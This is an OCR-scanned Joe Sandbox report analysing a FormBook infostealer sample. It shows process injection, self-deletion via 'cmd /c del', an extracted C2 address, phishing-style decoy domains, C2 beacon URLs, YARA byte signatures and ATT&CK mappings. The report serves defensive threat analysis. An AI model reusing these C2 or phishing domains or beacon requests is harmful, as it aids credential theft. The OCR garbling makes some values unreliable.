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Windows Analysis Report ff0231.exe

Sample uses pracess hollowing tech...

Most interesting Screenshot:

FormBook Maps a DLL or memory area into an...

Overview
General Information Detection Signatures Classification
Sample ff0231.exe
Name: MALICIOUS Found malware configuration
Analysis ID: 528603 Snort IDS alert for network traffic (e....
MDS: b2bdb06e477be0.. Multi AV Scanner detection for subm...
SHAL:
521e91257dfee24. Yara detected FormBook
SHA256: 3e1840a0f24371b. -
Malicious sample detected (through ...
Tags: exe J| Formbook
—
Infos: DEQaRQ = , _
& T Antivirus detection for dropped file
v ¥

Score: 100 Sigma detected: Bad Opsec Default...
Range: 0-100 Self deletion via cmd delete
Whitelisted: false

X Injects a PE file into/a foreign proce...
Confidence: 100%

ree

= System is w10x64

ff0231.exe (PID: 6660 cmdline: "C:\Users\user\Desktop\ff0231.exe" MD5: B2BDB06E477BEOFC87F7BBD744FF7D38)
o [ ff0231.exe (PID: 5348 cmdline: "C:\Users\user\Desktop\ff0231.exe" MD5: B2BDB06E477BEOFC87F7BBD744FF7D38)
o [ explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. D rundll32.exe (PID: 7024 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4ADDOF03A89A1FDAD6G3D)
. cmd.exe (PID: 6580 cmdline: /c del "C:\Users\user\Desktop\ff0231.exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6068 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e . explorer.exe (PID: 6012 cmdline: explorer.exe MD5: AD5296B280E8F522A8A897C96BABOE1D)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www.prometaly. fr/fh3c/"

1,

"decoy": [
"victormatoso.com",
"stylecolabpreloved.con”,
"kylur.top",

"federal - funds-deposit.com”,
"metahairstylist.com”,
"paynow. gmbh",

"vivx.us",

"awsul.online”,
"viuhealth.com"”,
"sputnikenglish.com”,
"metafacebookapp.com”,
"teslasmartglasses.com”,
"returns-fedex.com",
"dziekanator.com”,
"pretshellsbakery.com”,
"vapplebus.com",
"kitan.guru",
"amazonexpertsindia.com”,
"teslaislandboys.com",
"metasomeone.com”,
"nasca.us”,
"rivianhawaii.com",
"sportfacebook.site",
"twopairsandaspare.com”,
"poegwemuschase.com",
"favorinfortworth.com”,
"auco.us",
"usnikeshoesbot. top",
"onzo. fr",
"taokshopper.us",
"alexa-score.com",
"bass.o00",
"coca-colameta.com”,
"evchargeoracle.com",
"facebook-meta.net",
"thatsgoud.com",
"comptesgratuit. fr”,
"arch-hatirsalon.com",
"heavycutshairstyling.com”,
"thecrazycornershop.com”,
"ladiesfirstmc.net"”,
"schuette. tech”,
"kujira.us",
"porscheofac.com”,
"chasesecurobanking.com”,
"bell-ca-ref441.ca",
"metarbc.com”,

"meta- facebook. life",
"bolt.my.id",
"firsttimehomebuyersmanual.com”,
"loti.net.co",

"balea.us",
"futureswirl.com",
"aolsearch.us",
"lafabrique-souvenirs-france.com",
"puerburgring.us”,
"paypal -payment.cc”,
"gatieau.biz",
"meta-1is-facebook.com",
"meta-vision.us",
"woodwork.sbs",
"scottdunn.online",
"bestblondehairstylist.com",
"rugdlz. fr"

Yara Overview

Memory Dumps

Source Rule

00000005.00000000.706889621.000000000F2F JoeSecurity_FormBook
4000.00000040.00020000.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000005.00000000.706889621.000000000F2F
4000.00000040.00020000.sdmp

00000005.00000000.706889621.000000000F2F
4000.00000040.00020000.sdmp

00000003.00000002.730860084.0000000000400000.00000 JoeSecurity_FormBook

040.00000001.sdmp

00000003.00000002.730860084.0000000000400000.00000 Formbook_1

040.00000001.sdmp

Unpacked PEs

Source

0.2.ff0231.exe.2920000.1.raw.unpack

0.2.ff0231.exe.2920000.1.raw.unpack

0.2.ff0231.exe.2920000.1.raw.unpack

3.0.ff0231.exe.400000.3.raw.unpack

3.0.ff0231.exe.400000.3.raw.unpack

Sigma Overview

Copyright Joe Security LLC 2021

Rule Description

Formbook_1

yara-signator

Formbook
memory

FormBook

yara-signator

Click to see the 31 entries

Rule Description
JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Formbook detect Formbook in

memory

JoeSecurity_FormBook  Yara detected

FormBook

Formbook_1

yara-signator

Click to see the 28 entries

autogenerated rule
brought to you by

detect Formbook in

Yara detected

autogenerated rule
brought to you by

autogenerated rule
brought to you by

Author Strings

Felix Bilstein - .
yara-signator at
cocacoding dot
com

e o o o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

Ox16a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x1191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x17a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x191f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x40c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x7917:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x891a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x4839:$sqlite3step: 68 34 1C 7B E1
0x494c:$sqlite3step: 68 34 1C 7B E1
0x4868:$sqlite3text: 68 38 2A 90 C5
0x498d:$sqlite3text: 68 38 2A 90 C5
0x487b:$sqlite3blob: 68 53 D8 7F 8C
0x49a3:$sqlite3blob: 68 53 D8 7F 8C

e 0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x9b72:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa58a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c9la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Author Strings

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o .

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9b72:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa58a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c9la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x18839:$sqlite3step: 68 34 1C 7B E1
0x1894c:$sqlite3step: 68 34 1C 7B E1
0x18868:$sqlite3text: 68 38 2A 90 C5
0x1898d:$sqlite3text: 68 38 2A 90 C5
0x1887h:$sqlite3blob: 68 53 D8 7F 8C
0x189a3:$sqlite3blob: 68 53 D8 7F 8C

e 0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x9b72:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15191:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa58a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c9la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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System Summary:

Jbx Signature Overview

@ Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for dropped file

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

=

E-Banking Fraud:

Yara detected FormBook

System Summary:

=

Malicious sample detected (through community Yara rule)

:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

=

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Copyright Joe Security LLC 2021 Page 7 of 29



Yara detected FormBook

Remote Access Functionality: -i.

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Native Path Process Deobfuscate/Decode  Input File and Directory Remote Archive Exfiltration Ingress Tool Eavesdrop o
Accounts API Interception  Injection Files or Information §§ Capture Discovery Services Collected  Over Other Transfer Insecure
Data Network Network
Medium Communicat
Default Shared Boot or Boot or Logon Obfuscated Files or LSASS System Information Remote Input Exfiltration Encrypted Exploit SS7 1
Accounts Modules g Logon Initialization Information Memory  Discovery Desktop Capture gy Over Channel Redirect Phc
Initialization  Scripts Protocol Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Software Packing Security Query Registry SMB/Windows Clipboard Automated Non- Exploit SS7 1
Accounts (Windows)  (Windows) Account Admin Shares Data Exfiltration Application Track Device
Manager Layer Location
Protocol
Local At Logon Script Logon Script File Deletion NTDS Security Software Distributed Input Scheduled Application SIM Card
Accounts (Windows) (Mac) (Mac) Discovery Component  Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon Masquerading LSA Virtualization/Sandbox SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Secrets Evasion Transfer Channels Device
Size Limits Communicat
Replication  Launchd Rc.common Rc.common Virtualization/Sandbox Cached Process Discovery VNC GUI Input  Exfiltration  Multiband Jamming or
Through Evasion Domain Capture Over C2 Communication Denial of
Removable Credentials Channel Service
Media
External Scheduled  Startup Startup Items Process DCSync Application Window  Windows Web Exfiltration Commonly Rogue Wi-Fi
Remote Task Items Injection ﬂ Discovery Remote Portal Over Used Port Access Poini
Services Management Capture Alternative
Protocol
Drive-by Command Scheduled Scheduled RundlI32 Proc Remote System Shared Credential Exfiltration Application Downgrade t
Compromise and Task/Job Task/Job Filesystem Discovery Webroot API Over Layer Protocol Insecure
Scripting Hooking ~ Symmetric Protocols
Interpreter Encrypted
Non-C2
Protocol

Behavior Graph

Copyright Joe Security LLC 2021 Page 8 of 29



Behavior Graph
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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TR a

Recycle Bin  VAMYDFPU  SQf NB

al

QU uof

IPKC

LSBIHQFDVT

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
ff0231.exe

Dropped Files

Source
C:\Users\user\AppData\Local\Temp\nsoCFAB.tmp\xavjgrgsngv.dll
C:\Users\user\AppData\Local\Temp\nsoCFAB.tmp\xavjgrgsngv.dll

Unpacked PE Files

Source
0.2.ff0231.exe.10000000.2.unpack
3.0.ff0231.exe.400000.3.unpack
3.0.ff0231.exe.400000.1.unpack
0.2.ff0231.exe.2920000.1.unpack
16.0.explorer.exe.744f840.0.unpack
9.2.rundlI32.exe.3434480.1.unpack
9.2.rundlI32.exe.550f840.4.unpack
3.1.ff0231.exe.400000.0.unpack
3.2.ff0231.exe.400000.0.unpack
3.0.ff0231.exe.400000.0.unpack

Copyright Joe Security LLC 2021

Detection
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%

Detection
34%

Detection
100%
100%

Scanner
Avira
Avira
Avira
Avira
Avira
Avira
Avira
Avira
Avira

Avira

HEUR/AGEN.1134255
Joe Sandbox ML

Label
HEUR/AGEN.1134255
TR/Crypt.ZPACK.Gen
TR/Crypt.ZPACK.Gen
TR/Crypt.ZPACK.Gen
TR/Patched.Ren.Gen
TR/Patched.Ren.Gen
TR/Patched.Ren.Gen
TR/Crypt.ZPACK.Gen
TR/Crypt.ZPACK.Gen
TR/Patched.Ren.Gen2

Scanner Label
Virustotal
Scanner Label

Link

Link

Browse

Link

Download

Download File
Download File
Download File
Download File
Download File
Download File
Download File

Download File

Download File
Download File
Page 10 of 29


https://www.virustotal.com/gui/file/3e1840a0f24371b46b7e196c6c04cba6f218c1989edd4d0eadc540e0b4ef17f7/detection/f-3e1840a0f24371b46b7e196c6c04cba6f218c1989edd4d0eadc540e0b4ef17f7-1637847995

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/fwww.comptesgratuit.fr/fh3¢/?7nhH=HxI0d2MH- 0% Avira URL Cloud safe
t9Hyv&z0GdXd=ygpAwtep7WxWCgU1n5iY5amVcELUOtSIdE/9Y9Jyy4nkdNu97XXXbghTbpjnrxNYSyQT

http:/fwww.teslaislandboys.com/fh3c/?7nhH=HxI0d2MH- 0% Avira URL Cloud safe
t9Hyv&z0GdXd=n2wKPxZ8pCyDi97rnXro6S5Jba3+KYmzJcgoataOVa/lb+/xmeU19XxREWNmMNK15/1ZxN

http:iicirn.one 0% Avira URL Cloud safe
http:/fwww.evchargeoracle.com/fh3c/? 0% Avira URL Cloud safe

z0GdXd=TEDmMW6IEX7An5IAq1gB0cQiS4L3buUHqtO303qgqMncoo4GVsMboScKfxnSemig/wshnV&7nh
H=HxI0d2MH-t9Hyv

www.prometaly.fr/fh3c/ 0% Avira URL Cloud safe

http:/fwww.facebook-meta.net/fh3c/? 0% Avira URL Cloud  safe
z0GdXd=WoHCE9GCxXT7wUBgkc+214Z3+m1n5nn1xCnlHBmko3viCo3lgm4+0h54SxcBONGJIBR7p&7n
hH=HxI0d2MH-t9Hyv

http:/fwww.schuette.tech/fh3c/? 0% Avira URL Cloud  safe
z0GdXd=N2vEI10X7w/3udy+ydCYc971PZER2FJIK19ZL6IMNGSul5qwd848spLio4s8j+VNLmMhX&7nhH=
HxI0d2MH-t9Hyv

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

evchargeoracle.com 34.102.136.180 true false unknown

ghs.googlehosted.com 142.250.203.115 true false unknown

meta-facebook.life 34.102.136.180 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:/fwww.teslaislandboys.com/fh3c/?7nhH=HxI0d2MH- false e Avira URL Cloud: safe unknown
t9HYv&z0GdXd=n2wKPxZ8pCyDi97rnXro6S5Jba3+KYmzJcgoataOVa/lb+/xmeUL19xREWNmM

NK15lIZXN

http:/fwww.evchargeoracle.com/fh3c/? false e Avira URL Cloud: safe unknown

z0GdXd=TEDmMW6IEX7An5IAq1gB0cQiS4L3buUHgtO303ggMncoo4GVsMboScKfxnSemig/w
shnV&7nhH=HxI0d2MH-t9Hyv

URLs from Memory and Binaries

Contacted IPs

Copyright Joe Security LLC 2021 Page 11 of 29



Public

Domain Country Flag ASN Name Malicious
142.250.203.115 ghs.googlehosted.com United States 15169 GOOGLEUS false

34.102.136.180 evchargeoracle.com United States 15169 GOOGLEUS false

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 528603
Start date: 25.11.2021
Start time: 14:49:32
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 12m 11s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: ff0231.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 29
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad. WinEXE@8/2@7/5
EGA Information: Failed
HDC Information: e Successful, ratio: 25.7% (good quality ratio 22.9%)

e Quality average: 73.9%
e Quality standard deviation: 32.7%

HCA Information: e Successful, ratio: 92%
e Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe
e Override analysis time to 240s for rundlI32
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

14:51:32 API Interceptor 1477x Sleep call for process: explorer.exe modified

Copyright Joe Security LLC 2021 Page 12 of 29



Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256
185.53.178.54

Get hash

Get hash

Get hash

Get hash

Get hash

15.197.142.173 Get hash

Get hash

Copyright Joe Security LLC 2021

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.wwwdo
nefirst.co
m/s3f1/?5)
WDs4dH=dwB
TA4299uw20
0ZcwDeYVSs
11YYyHO4ir
TlicPCwTSa
nFjgcgON90
4+|L5Csabk
TalP3&7nrh
h=61JxyBIHwWBYdI

e www.wwwdo
nefirst.co
m/s3f1/?XZ
eT=dwBTA42
4gp0zMkYms
TeYVSsIlYY
yHO4irTllc
PCwTSanFjg
CcqON904+IL
6CzZfAoamq
2&0F=WpRPn
JOxwpbl

e educarpet
as.com/mod
ules/mod_f
xprev/libr
aries/mzsys.php

e www.credi
toefectivo
.info/3iw/?
k2JLtP=m7
8xn50MN8wn
MfaX70UQPP
8GL31woTto
zaaF8RIJKm
GfLr7wp/Rw
XdgeuT/KgN
qIW69L&OZQ
liB=HODIqv

* www.apowe
rsof.com/r7m/

e www.stard
ustfuel.co
m/b62n/?w6
t8Rd=8pS0d
&B2JpMvPH=
bitkT+fROZ
7YJOW3KAHG
3F4NaeEWJ/
bItHZCVIRv
EyCJsKwhff
epXYuB30Lc
5bMX6VUM

* www.ameri
canherosin
homes.com/
g0d1/?PVgH
RfO8=lIxwv
y6vPNID/JR
091xilyyH4
UtOVDSWIPD
wTP94elsVo
SBsgXX0W8v
ubn+cPFkH9
oxp&wat=0T
rhAdIpjTztoLMP
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https://view.joesandbox.com/analysis/414160/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414160/html/none?idtype=webid
https://view.joesandbox.com/analysis/412636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412636/html/none?idtype=webid
https://view.joesandbox.com/analysis/283335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/283335/html/none?idtype=webid
https://view.joesandbox.com/analysis/190707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/190707/html/none?idtype=webid
https://view.joesandbox.com/analysis/181847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/181847/html/none?idtype=webid
https://view.joesandbox.com/analysis/416145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416145/html/none?idtype=webid
https://view.joesandbox.com/analysis/416078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416078/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.chang
emylifefas
t.info/hno0/?
wéehz=Z
p9XCdu8GIL
PM&WIK8Rx=
CF3DhNgKOA
g4BqjGd158
uXI+U+aJx3
nYqVg5WtRU
iAOCYMIW5I
bUY0Xs6/0L
doeu3QMK

e www.educa
caosemdist
ancia.net/cy88/?
JpCx
c=JmILW4tv
001rowrX9Y
8//aPMS7/0
SdnIxOVR2K
DxToJX/qIB
q1GB4VV6]
TuNPN33T7h
uQ==&9rl=-
Z8xBfo8a6

* www.trade
markitfory
ourself.co
m/eaOr/?Mh
Wilux=21seA
+p01ssf89X
pJwqliopik
ByiP5XpNgE
nRo49H70UD
IWfwqQOH/r
XxTS4hZj8yu
vzP&f0=Veb
XR6KX9FI

° www.opens
easports.c
om/rf50/?1
blod=prweM
xx2/BJC8sZ
IWIZpuyeKI
mgRxWId8vj
sHWTu2wXn9
x/67v1vcré
InpQpmgVn2
079&0JBp=a
P_Tvbk8000d

e www.chang
emylifefas
t.info/hno0/?
04M=CF3
DhNgPOHg8B
6VKf158uXI
+U+aJx3nYq
VypKuNVmg0
dY90Q+1KYO
wvu5aidZ4a
d8TR6Ag==
e6A=1bpXIf
XPILSXN

* www.peace
presidentu
nited.com/I3ld/?
eZ=3
DHpXRrikPO
AKXrusTUZO
W4pCT6+NLG
IHc+63BSGX
SeyPyFyAdM
Unw+8fECV6
bE4ErQK&_t
XT=KnTHszY
ptz8Xj
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https://view.joesandbox.com/analysis/415892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415892/html/none?idtype=webid
https://view.joesandbox.com/analysis/415846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415846/html/none?idtype=webid
https://view.joesandbox.com/analysis/415565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415565/html/none?idtype=webid
https://view.joesandbox.com/analysis/415521/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415521/html/none?idtype=webid
https://view.joesandbox.com/analysis/414918/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414918/html/none?idtype=webid
https://view.joesandbox.com/analysis/414446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414446/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Context

o www.harry
rowlandart
.com/ng6c¢/?
0D=jj5WxJ
6n4aabliRM
bIKQ7JpIDQ
1gceCDPWmy
+4CGzg6l4u
jygequuwx
omAkuFwU5SN
28&DX0h1=L
zrpLJ

* www.getca
shdaily.in
folpgbu/?q
ZX8=3fyt8X
Txgnth9J80
&Czu=jUfné
ErcHqcbhEIE
4rZAxROAve
VXCfELWEYy
NoBxvG7pT7
XtWapSpTO
RR+Q3cRxq6Jvi

e www.medal
ofhonor.st
ore/hd6y/?-
ZkD=9rMxI
2yHNbApH&d
BZpKxr=1Az
7q3/zqE8Bm
PYNTkMghFB
Q9EnepZBZu
2ie3xKuOm5
0jgEKeg+MN
AAqucf3Jli
NFPPg

o www.trade
markitfory
ourself.co
m/ealr/?XX
qL=21seA+p
01ssf89XpJ
waqliOpikBy
iP5XpNgEnR
049H70UDIW
fwgQOH/rXT
S4hZj8yuvz
P&z0GpfL=6
ly81h2x6804

e www.3lead
saday.xyz/
b62n/?k0GX
=dXGVSQLW5
UVOLxKdg6C
ciJ5B/MsvT
z/5XIGW3Th
rluv7UvH1o
1ffqu8+T8h
xn9Zbc49u&
VpCHN=7n-x
CIkP8D_

* www.navas
oft.net/bus9/?
W2IXG=
gRD1jnwXdk
Ka66VSVedd
9Ert/MobnF
aU7VvVUy36Vc
XQLRN6VNbM
Imx/6j/GLW
CcSM04v1im&;j
2Jp=hDKXMV
YHSPkx
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https://view.joesandbox.com/analysis/414127/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414127/html/none?idtype=webid
https://view.joesandbox.com/analysis/414099/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414099/html/none?idtype=webid
https://view.joesandbox.com/analysis/413981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413981/html/none?idtype=webid
https://view.joesandbox.com/analysis/413956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413956/html/none?idtype=webid
https://view.joesandbox.com/analysis/413315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413315/html/none?idtype=webid
https://view.joesandbox.com/analysis/413180/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413180/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse * www.natur
esownwater
services.c
om/s4st/?a
N90b=KVyLR
83p1hG&Bz=
5g5j0eR1wb
vssk/2SAJe
bfog4cawfO
/fKX98IMBM
miT/h5dg8c
5J9GOZkuHF
mNozoRJa

Get hash malicious Browse * www.navas
oft.net/bus9/?
Ct9Tot
=qRD1jnwXd
kKa66VSVed
d9Ert/Mobn
FaU7VvUy36V
CcXQLRN6VNb
M/mx/6j/GL
WcSMO04vim&
6ltpK=f2MX
FH_pTNOlhrsp

Get hash malicious Browse e www.shopk
yrobak.com
/s564/?3fR
LM=ncyUo/p
T3NPrubbbi
uUxyJBf/K1
YAbxGyQQpS
ZPZeDvv8us
Wq6eFmdaas
FSgyTnKMPf
akxGS1Q==
jODdo=7n-t
JLsh8h

Get hash malicious Browse e www.navas
oft.net/bus9/?
bLOhB4
3=gRD1jnwX
dkKa66VSVe
dd9Ert/Mob
nFaU7VvVUy36
VCEXQLRNGVN
bM/mx/6j/F
rGTzcMmKch
&EXSD=KB6X
_LnX4pALP

Get hash malicious Browse e www.educa
caosemdist
ancia.net/cy88/?
8p=LR-
L&eN6=Im
ILW4tvo01r
IwrX9Y8//a
PMS7/0Sdnl
XOVR2KDxTo
JX/qIBq1GB
4VVt6ITUNP
N33T7huQ==

Get hash malicious Browse e www.gamet
imebg.com/
s18y/?iPyh
Q=GeiSqwLl
SN+1zUZfxg
rVpi5RTxjN
zp5rk1plsx
OITRUXGXjo
oHlaUMTgit
SeSdRnfDk4
&gRTIZ=2dI
8_P1H

Domains

No context

ASN

Match Associated Sample Name / URL SHA 256 Detection Link Context

HETZNER-ASDE Get hash malicious Browse e 78.47.204.80
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https://view.joesandbox.com/analysis/413064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413064/html/none?idtype=webid
https://view.joesandbox.com/analysis/413056/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413056/html/none?idtype=webid
https://view.joesandbox.com/analysis/411476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411476/html/none?idtype=webid
https://view.joesandbox.com/analysis/410687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410687/html/none?idtype=webid
https://view.joesandbox.com/analysis/410523/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410523/html/none?idtype=webid
https://view.joesandbox.com/analysis/410371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410371/html/none?idtype=webid
https://view.joesandbox.com/analysis/416261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416261/html/none?idtype=webid

Match

TEAMINTERNET-ASDE

TANDEMUS

Copyright Joe Security LLC 2021

SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
n
7]
<]
Q,
2
@
-3
[
o
3
-
®
2
o
3
®
c
a
[

Detection
malicious
malicious
malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

78.47.204.80
88.99.22.5
5.9.162.45

148.251.22
0.118

135.181.14
2.151

78.47.204.80
5.9.162.45
5.9.162.45

5.9.162.45

5.9.162.45

116.202.203.61
94.130.138.146
88.99.210.172
116.202.14.219
168.119.38.214
78.47.204.80
78.47.204.80
78.47.204.80
78.47.204.80
185.53.179.92
185.53.178.54
185.53.177.20
185.53.177.53
185.53.178.54
185.53.179.90
185.53.178.12
185.53.178.12
185.53.177.53
185.53.179.90
185.53.178.50
185.53.177.10
185.53.179.94
185.53.178.51
185.53.179.94
185.53.178.10
185.53.178.13
185.53.178.30
185.53.177.12
185.53.177.10
15.197.142.173
128.88.223.189
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
128.88.62.127
15.197.142.173
